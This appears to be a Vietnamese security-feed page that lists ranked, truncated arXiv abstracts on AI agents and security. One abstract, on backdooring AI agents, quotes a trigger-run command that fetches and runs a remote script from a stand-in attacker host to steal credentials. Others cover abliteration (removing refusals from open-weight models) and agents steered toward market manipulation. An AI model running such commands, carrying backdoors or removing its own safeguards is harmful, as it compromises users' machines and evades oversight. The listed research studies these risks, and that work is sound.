cập nhật 1 giờ trước

⏱ Độ trễ thật của tab này: trung bình 7.3 giờ sau khi CVE được công bố (n = 5335, sớm nhất 0.1 giờ). Số âm nghĩa là ta thấy trước ngày công bố.

30
A Push Down the Mountain: Framing Effects and Internal State Interventions on Collusive Behavior in a Long-Horizon LLM Agent
📄 Paper arXiv cs.AI 15 giờ trước

arXiv:2611.17515v1 Announce Type: new Abstract: Can sustained gain-loss (valence) framing sway an LLM agent toward market manipulation? We place Gemma 3 12B into the seat of a defendant in the London silver-fixing litigation, in a market simulation built from real case transcrip…

🅲 hạng C
28
What a CAGE 4 Score Measures: An Audit of a Learned Cyber-Defense Benchmark, Its Reference Defenders, and the Tables Built on Them
📄 Paper arXiv cs.CR 5 ngày trước

arXiv:2611.14068v1 Announce Type: new Abstract: CAGE Challenge 4 is the benchmark on which learned multi-agent cyber defenders are compared. We reproduce its two reference defenders, KEEP and H-MARL Expert, in a pinned container and show that three things read from it measure le…

🅲 hạng C
28
Agentic Attribution of Cloud Resource Ownership
📄 Paper arXiv cs.CR 6 ngày trước

arXiv:2611.11340v1 Announce Type: new Abstract: Security tools raise findings across cloud environments, and AI agents now investigate and prioritize them. A finding is still resolved by people: it has to reach the people responsible for fixing it and accountable for the resourc…

🅲 hạng C
28
AI-Voyager: A Public-Interest System for Human-AI Civic Reasoning to Contest and Shape the Rules That Govern AI
📄 Paper arXiv cs.AI 15 giờ trước

arXiv:2611.17564v1 Announce Type: new Abstract: Governments are writing rules for artificial intelligence that decide what counts as an automated decision or a harm, often before the people they affect have a chance to question them. We introduce AI-Voyager, a public-interest sy…

🅲 hạng C
27
EvoX: Rethinking the Agent Harness as a Runtime Policy
📄 Paper arXiv cs.AI 3 ngày trước

arXiv:2611.15006v1 Announce Type: new Abstract: Large language model (LLM) agents increasingly interact with tools and environments, yet plausible model decisions do not always translate into successful execution due to tool-call mismatches, interrupted workflows, and unsupporte…

🅲 hạng C
27
PolicySniff: Inferring Agent Policy States through Shared-GPU Execution
📄 Paper arXiv cs.CR 3 ngày trước

arXiv:2611.16158v1 Announce Type: new Abstract: LLM agents apply approval settings, such as whether to ask before a consequential tool call, through instructions in their system prompt, and operators keep these settings confidential by restricting access to prompts and responses…

🅲 hạng C
26
Co-Sight Harness: Externalized Control Assets and Deterministic Enforcement for Long-Horizon Business Agents
📄 Paper arXiv cs.AI 15 giờ trước

arXiv:2611.17696v1 Announce Type: new Abstract: Long-horizon business workflows fail in two ways: errors accumulate as a chain of activities lengthens, and the knowledge an activity needs is written in a different vocabulary from the user's request. We study whether such workflo…

🅲 hạng C
26
Where Autonomy Belongs: A Separation of Powers for Agentic Program Evolution
📄 Paper arXiv cs.AI 3 ngày trước

Paper đề xuất 'tách quyền lực' (separation of powers) cho agentic program evolution với 3 vai trò: govern (điều hướng từ bằng chứng), propose (sinh ứng viên), judge (validate fitness). Thống kê thấy hệ thống controller-centric và agent-centric đều lệch bên và tổn phí tài nguyên khi agent tự làm cả hai. Tham khảo khi design kiến trúc evolution pipeline cho code agent.

🅲 hạng C
24
Termination Lag: Coding Agents Solve Early but Stop Late
📄 Paper arXiv cs.AI 3 ngày trước

arXiv:2611.14960v1 Announce Type: new Abstract: Coding agents can solve a task well before they stop working on it. We characterize \emph{termination lag}--the number of steps between an agent's first correct patch and the end of its run--across five models, two agent frameworks…

🅲 hạng C
24
Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents
📄 Paper arXiv cs.CR 3 ngày trước

arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with p…

🅲 hạng C
👁 Trúng danh sách theo dõi: actor:lazarus
24
Actor, Judge, or Teacher? Understanding Decision Models in Long-Horizon Agents
📄 Paper HF Daily Papers 5 ngày trước

Decision models answer a question with a typed output, such as a choice among options with a probability for each, so one model can choose an agent's actions, evaluate actions already taken, or score every action to teach a policy with reinforcement learning. Prior work has studi…

🅲 hạng C
24
Interpreting Coding Agents Through Their Behavioral Trajectories
📄 Paper HF Daily Papers 5 ngày trước

Standard coding-agent benchmarks primarily evaluate binary task success, treating execution as a black box and obscuring the behaviors that produce those outcomes. We analyze a large corpus of 143,209 execution trajectories from 125 agent configurations spanning 117 unique models…

🅲 hạng C
24
Continual-ARC: Measuring Skill Acquisition over a Working Lifetime
📄 Paper HF Daily Papers 6 ngày trước

Agent harnesses have emerged as a promising mechanism for continual learning, alongside test-time parametric learning. However, the current benchmarks have several limitations: they generally focus on a single applied domain, serve each instance only once, and assume a single fam…

🅲 hạng C
24
Seeing Is Not Believing: Counterfactual Lesion Erasure Teaches a Small Medical Vision-Language Agent to Report Only What the Image Shows
📄 Paper arXiv cs.AI 5 ngày trước

arXiv:2611.13006v1 Announce Type: new Abstract: Medical vision-language models (VLMs) often report a finding because the question names it; standard benchmarks miss this. From public segmentation datasets we build counterfactual views without manual annotation: the lesion erased…

🅲 hạng C
24
LoRAWeaver: Directional Adapter Routing in LoRA Representation Space
📄 Paper arXiv cs.AI 15 giờ trước

arXiv:2611.17340v1 Announce Type: new Abstract: Large language models are expensive to update through full retraining. Parameter-efficient fine-tuning reduces the cost of adaptation, but repeated adaptation creates a growing pool of task-specific LoRA adapters. This pool complic…

🅲 hạng C
24
Safety Side Effects of Preventative Persona Steering: An Empirical Audit
📄 Paper arXiv cs.AI 15 giờ trước

arXiv:2611.17620v1 Announce Type: new Abstract: High-level behaviors such as sycophancy and hallucination correspond to directions in a model's activation space (Chen et al., 2025). These directions, known as persona vectors, can suppress undesirable traits either at inference t…

🅲 hạng C
24
TReC: Evaluating Move-Induced State Changes in Instruction-Conditioned Go
📄 Paper arXiv cs.AI 15 giờ trước

arXiv:2611.17781v1 Announce Type: new Abstract: When a Go model predicts a move different from the expert's, coordinate distance measures how far the prediction lands from the reference. We introduce Transition Representation Consistency (TReC) to compare how the two moves chang…

🅲 hạng C
24
Is Abliteration Getting Harder? Not Uniformly: Refusal Removal by Direction-Based Ablation and ARA in Heretic on the Qwen3.8, Gemma 4, Olmo 3.1 and Mistral Small 3.2 LLMs Versus Their Predecessors
📄 Paper arXiv cs.AI 15 giờ trước

arXiv:2611.17846v1 Announce Type: new Abstract: Abliteration, a fine-tuning-free weight edit, removes refusal from open-weight large language models (LLMs). The developer of Arbitrary-Rank Ablation (ARA), an optimisation-based variant, reports that direction-based abliteration, …

🅲 hạng C